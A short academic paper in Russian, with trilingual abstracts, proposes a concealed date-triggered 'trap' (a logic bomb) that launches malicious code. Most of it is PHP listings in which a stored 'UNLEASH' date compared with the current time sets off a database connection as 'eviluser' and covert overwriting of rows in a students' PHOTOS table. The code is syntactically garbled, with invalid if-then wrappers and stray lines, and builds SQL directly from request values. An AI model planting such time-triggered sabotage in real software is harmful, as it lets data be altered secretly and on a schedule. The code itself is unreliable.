УДК 004 (056.5+413.5)

Начев А.И., Иванов Р.П., Жаблянова Г.Б.

МЕТОД СКРЫТОГО “КАПКАНА” ДЛЯ СТАРТА ВРЕДИТЕЛЬСКОГО КОДА

Анотація:

Пропонується метод реалізації прихованого “капкана” для старту шкідливого коду з використанням змісту системних годинників.

Аннотация:

Предлагается метод реализации скрытого “капкана” для старта вредительского кода с использованием содержания системных часов.

Abstract:

This paper shows method for realization of hidden “trap” in the beginning of malicious code with using of time of program.

Все современные языки программирования содержат в себе функции, позволяющие менять содержимое системных часов. Это дает возможность использовать содержимое этих часов в качестве “капкана” для старта вредительского кода. Эти “капканы” можно ввести следующими способами (на примере языка PHP):

- с помощью глобальной переменной, заданной программистом:
  $UNLEASH = ’27.06.2012’; (от тип STRING);
  $UNLEASH= 96237; (Double – двойная точность, или Integer – для целых чисел);
- с помощью константы:

Define(‘UNLEASH’, ’27.06.2012’);

- через считывание содержимого “триггера”, используя для этого соответствующий файл, например:

$fp=fopen(“$DOCUMENT_ROOT/../Akademi/storeddate.txt”, “r”);

- используя специальное поле в базе данных.

Язык PHP предоставляет еще и возможность задавать переменные типа “variable”. Это дает возможность динамично менять имена переменных.

Мы приведем программу, демонстрирующую как после наступления определенной даты и времени в таблице PHOTOS базы данных STUDENTS можно манипулировать ее данными:

```
If $UNLEASH = date(‘H:i, jS F’) then
{; <?php
$db = mysql_connect('localhost', 'eviluser','destructions');
 if (!$db)
 {
 echo '<tr><td colspan="10">Нет связи с базой данных. Пробуйте позже!</td></tr>';
 exit;
```

```
}
mysql_select_db('students');
        mysql_query("SET NAMES 'cp1251'");
$query = "select * from photos where idpers = '$idpers' order by idphotos asc";
        $result = mysql_query($query);
        $num_results = mysql_num_rows($result);
if (!$num_results)
{
echo "<tr><td colspan=\"10\">Нет введенной информации<br>
        <p><a
href=\"profileadd_insert_one_values_FIRST.php?hero=$idpers\">Нов</a></p>
        </td></tr>";
exit;
}
else
{
for ($i = 0; $i < $num_results; $i++)
{
$row = mysql_fetch_array($result);
        echo "<tr>
<td width=\"10\">{$row['idpers']}</td>
                <td width=\"10\">{$row['idphotos']}</td>
                <td width=\"202\">{$row['titleshort']}</td>
            <td width=\"202\">{$row['otkogo']}</td>
<td width=\"10\">{$row['ext']}</td>
                <td width=\"10\"><a
href=\"profileadd_update_one_values.php?hero={$row['idphotos']}\">Сменя</a></td>
<td width=\"10\"><a
href=\"DELETE_one_document_in_photos.php?hero={$row['idphotos']}\">Трие</a></td>
                <td width=\"10\"><a
href=\"profileadd_insert_one_values.php?hero={$row['idpers']}\">Нов</a></td>
                </tr>";
}
}
?>
Замена содержания в поле базы:
<?php
if (!$idpers)
{
echo 'Введите валидное значение';
exit;
}
$idpers = addslashes($idpers);
$idphotos = addslashes($idphotos);
$titleshort = addslashes($titleshort);
```

```
$otkogo = addslashes($otkogo);
$ext = addslashes($ext);
        mysql_query("SET NAMES 'cp1251'");
       $query = "UPDATE photos SET
idpers = '$idpers',
idphotos = '$idphotos',
titleshort = '$titleshort',
otkogo = '$otkogo',
ext = '$ext'
WHERE idphotos = '$idphotos'";
        $result = mysql_query($query);
?>
```

Можно осуществить и скрытую замену содержимого поля таблицы PHOTOS:

```
If $UNLEASH = date('H:i, jS F') then
{; <?php
$db = mysql_connect('localhost', 'eviluser','destructions');
if (!$db)
echo '<tr><td colspan="10"> Нет связи с базой данных. Пробуйте позже!</td></tr>';
!</td></tr>';
exit;
}
mysql_select_db('students');
        mysql_query("SET NAMES 'cp1251'");
$query = "select * from photos where idpers = '$idpers' order by idphotos asc";
       $result = mysql_query($query);
       $num_results = mysql_num_rows($result);
if (!$num_results)
{
echo "<tr><td colspan=\"10\">Нет введенной информации.<br>
        <p><a
href=\"profileadd_insert_one_values_FIRST.php?hero=$idpers\">Нов</a></p>
        </td></tr>";
exit;
}
else
{
for ($i = 0; $i < $num_results; $i++)
{
$row = mysql_fetch_array($result);
        echo "<tr>
<td width=\"10\">{$row['idpers']}</td>
                <td width=\"10\">{$row['idphotos']}</td>
                <td width=\"202\">{$row['titleshort']}</td>
```

```
                    <td width=\"202\">{$row['otkogo']}</td>
        <td width=\"10\">{$row['ext']}</td>
                        <td width=\"10\"><a
href=\"profileadd_update_one_values.php?hero={$row['idphotos']}\">Замена</a></td>
                        </tr>";
        }
        }
        ?> …
```

Замена содержимого поля базы данных:

```
<?php
 $idpers = addslashes($idpers);
 $idphotos = addslashes($idphotos);
 $titleshort = addslashes($titleshort);
 $otkogo = addslashes($otkogo);
 $ext = addslashes($ext);
          mysql_query("SET NAMES 'cp1251'");
         $query = "UPDATE photos SET
 idpers = '$idpers',
 idphotos = '$idphotos',
 titleshort = '$titleshort',
 otkogo = '$otkogo',
 ext = '$ext'
WHERE idphotos = '$idphotos'";
         $result = mysql_query($query);
```

Данные примеры демонстрируют возможности использования скрытого “капкана” для стартирования вредительского кода, но они не являются единственными в этом случае.

Литература:

1. Целков В. Софтуерни средства защита на информацията в компютърните системи за сигурност и отбрана. / В. Целков, Н. Стоянов, З. Здравков, М. Божилова. // Сборник материали «Първа международна научна конференция ХЕМУС – 2002». – Пловдив, 2002. – С. 164–167.

2. Целков В. Защитени криптографски приложения в компютърни системи и мрежи / В. Целков, Н. Стоянов. – София: Нова звезда, 2009. – 172 с.

3. Павлов Г. Защита на информацията / Г.Павлов. – София: Издателство «Стопанство», 2010. – 198 с.

4. Стоянов. Н. Анализ на някои протоколи и стандарти за информационна сигурност / Н. Стоянов // Сборник материали «Първа международна научна конференция ХЕМУС – 2002». – Пловдив, 2002 г. – С. 41–46.